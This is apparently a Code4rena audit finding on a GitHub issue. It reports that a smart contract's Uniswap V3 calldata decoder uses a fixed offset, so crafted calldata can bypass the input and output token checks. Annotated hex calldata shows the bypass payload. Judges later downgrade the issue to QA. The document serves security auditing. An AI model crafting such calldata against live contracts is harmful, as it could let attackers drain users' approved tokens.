code-423n4 / 2024-05-loop-findings

4 stars 4 forks source link

Users can bypass checks for `inputToken` and `outputToken` in `_validateData()` because of the wrong RLP decoder implementation #83

Closed howlbot-integration[bot] closed 3 months ago

howlbot-integration[bot] commented 4 months ago

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L448-L464

Vulnerability details

Impact

Users can skip the checks for inputToken and outputToken in _validateData() because of the wrong assumption that the variables are always constant in places to steal tokens on the amount of any unused approvals to 0x.

Proof of Concept

On the Exchange.UniswapV3 route, there are checks that only allow inputToken to be equal to _token and outputToken to be equal WETH:

https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L412-L435

        if (_exchange == Exchange.UniswapV3) {
@>          (inputToken, outputToken, inputTokenAmount, recipient, selector) = _decodeUniswapV3Data(_data);

            ...

            // UniswapV3Feature.sellTokenForEthToUniswapV3(encodedPath, sellAmount, minBuyAmount, recipient) requires `encodedPath` to be a Uniswap-encoded path, where the last token is WETH, and sends the NATIVE token to `recipient`
@>          if (outputToken != address(WETH)) {
@>              revert WrongDataTokens(inputToken, outputToken);
@>          }
        } else ...

@>      if (inputToken != _token) {
@>          revert WrongDataTokens(inputToken, outputToken);
@>      }

_decodeUniswapV3Data uses the constant address add(p, 96) to get the beginning (length) of the encodedPath variable:

https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L448-L464

    function _decodeUniswapV3Data(bytes calldata _data)
        internal
        pure
        returns (address inputToken, address outputToken, uint256 inputTokenAmount, address recipient, bytes4 selector)
    {
        uint256 encodedPathLength;
        assembly {
            let p := _data.offset
            selector := calldataload(p)
            p := add(p, 36) // Data: selector 4 + lenght data 32
            inputTokenAmount := calldataload(p)
            recipient := calldataload(add(p, 64))
@>          encodedPathLength := calldataload(add(p, 96)) // Get length of encodedPath (obtained through abi.encodePacked)
            inputToken := shr(96, calldataload(add(p, 128))) // Shift to the Right with 24 zeroes (12 bytes = 96 bits) to get address
            outputToken := shr(96, calldataload(add(p, add(encodedPathLength, 108)))) // Get last address of the hop
        }
    }

But this address is dynamic, and it is encoded as the first word in the calldata.

The calldata will be sent to the following function on the 0x side after the validation:

https://github.com/0xProject/protocol/blob/e66307ba319e8c3e2a456767403298b576abc85e/contracts/zero-ex/contracts/src/features/UniswapV3Feature.sol#L107-L126

    function sellTokenForEthToUniswapV3(
        bytes memory encodedPath,
        uint256 sellAmount,
        uint256 minBuyAmount,
        address payable recipient
    ) public override returns (uint256 buyAmount) {
        ...
    }

For example, let's take the following valid calldata (without the signature):

00000000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ┬── encodedPath address, 80
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 ┘
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000030  00 00 00 00 00 00 00 00 01 ee 2e b6 88 41 c0 00
00000040  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000050  00 00 00 00 00 00 00 00 01 ea 93 8a 87 e3 81 8a
00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000070  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000080  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ┬── encodedPath length, 2b = 43 bytes
00000090  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2b ┘
000000a0  a1 29 0d 69 c6 5a 6f e4 df 75 2f 95 82 3f ae 25 ┐
000000b0  cb 99 e5 a7 00 01 f4 c0 2a aa 39 b2 23 fe 8d 0a ├── encodedPath body
000000c0  0e 5c 4f 27 ea d9 08 3c 75 6c c2 00 00 00 00 00 ┘
000000d0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Here, the result of _decodeUniswapV3Data() will be:

address inputToken = 0xA1290d69c65A6Fe4DF752f95823fae25cB99e5A7; // rsETH
address outputToken = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // WETH
uint256 inputTokenAmount = 0x01ee2eb68841c000; // random number
address recipient = 0x0;

sellTokenForEthToUniswapV3() will interpret the calldata as:

//                  rsETH 0xa1290d69c65a6fe4df752f95823fae25cb99e5a7 + WETH 0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2
bytes memory encodedPath = 0xa1290d69c65a6fe4df752f95823fae25cb99e5a70001f4c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2;

uint256 sellAmount = 0x01ee2eb68841c000;
uint256 minBuyAmount = 0x01ea938a87e3818a;
address payable recipient = 0x0;

As you can see in the calldata bytecode above, the first word contains the address of encodedPath, 80. And if we change it to e0 and append the calldata with another bytes structure similar to the previous encodedPath:

00000000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ┬── encodedPath address, 80 -> e0
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 ┘
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000030  00 00 00 00 00 00 00 00 01 ee 2e b6 88 41 c0 00
00000040  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000050  00 00 00 00 00 00 00 00 01 ea 93 8a 87 e3 81 8a
00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000070  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000080  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ┬── old encodedPath length
00000090  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2b ┘
000000a0  a1 29 0d 69 c6 5a 6f e4 df 75 2f 95 82 3f ae 25 ┐
000000b0  cb 99 e5 a7 00 01 f4 c0 2a aa 39 b2 23 fe 8d 0a ├── old encodedPath body
000000c0  0e 5c 4f 27 ea d9 08 3c 75 6c c2 00 00 00 00 00 ┘
000000d0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000000e0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ┬── new encodedPath length
000000f0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2b ┘
00000100  bf 54 95 ef e5 db 9c e0 0f 80 36 4c 8b 42 35 67 ┐
00000110  e5 8d 21 10 00 01 f4 c0 2a aa 39 b2 23 fe 8d 0a ├── new encodedPath body
00000120  0e 5c 4f 27 ea d9 08 3c 75 6c c2 00 00 00 00 00 ┘
00000130  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

The result of the _decodeUniswapV3Data() will still be the same, and the verification will be successfully passed because it refers to the old encodedPath:

address inputToken = 0xA1290d69c65A6Fe4DF752f95823fae25cB99e5A7; // rsETH
address outputToken = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // WETH
uint256 inputTokenAmount = 0x01ee2eb68841c000; // random number
address recipient = 0x0;

But sellTokenForEthToUniswapV3() will now refer to the new encodedPath, interpreting the calldata as:

//                  ezETH 0xbf5495efe5db9ce00f80364c8b423567e58d2110 + USDT 0xdac17f958d2ee523a2206206994597c13d831ec7
bytes memory encodedPath = 0xbf5495efe5db9ce00f80364c8b423567e58d21100001f4dac17f958d2ee523a2206206994597c13d831ec7;

uint256 sellAmount = 0x01ee2eb68841c000;
uint256 minBuyAmount = 0x01ea938a87e3818a;
address payable recipient = 0x0;

It's possible to pass any variation of encodedPath.

Tools Used

Manual review

Recommended Mitigation Steps

Read the first word of the calldata to get the address of encodedPath.

Assessed type

Invalid Validation

0xd4n1el commented 4 months ago

It is not clear how this can be used for malicious operations

c4-judge commented 3 months ago

koolexcrypto marked the issue as primary issue

c4-judge commented 3 months ago

koolexcrypto changed the severity to QA (Quality Assurance)

c4-judge commented 3 months ago

koolexcrypto marked the issue as grade-c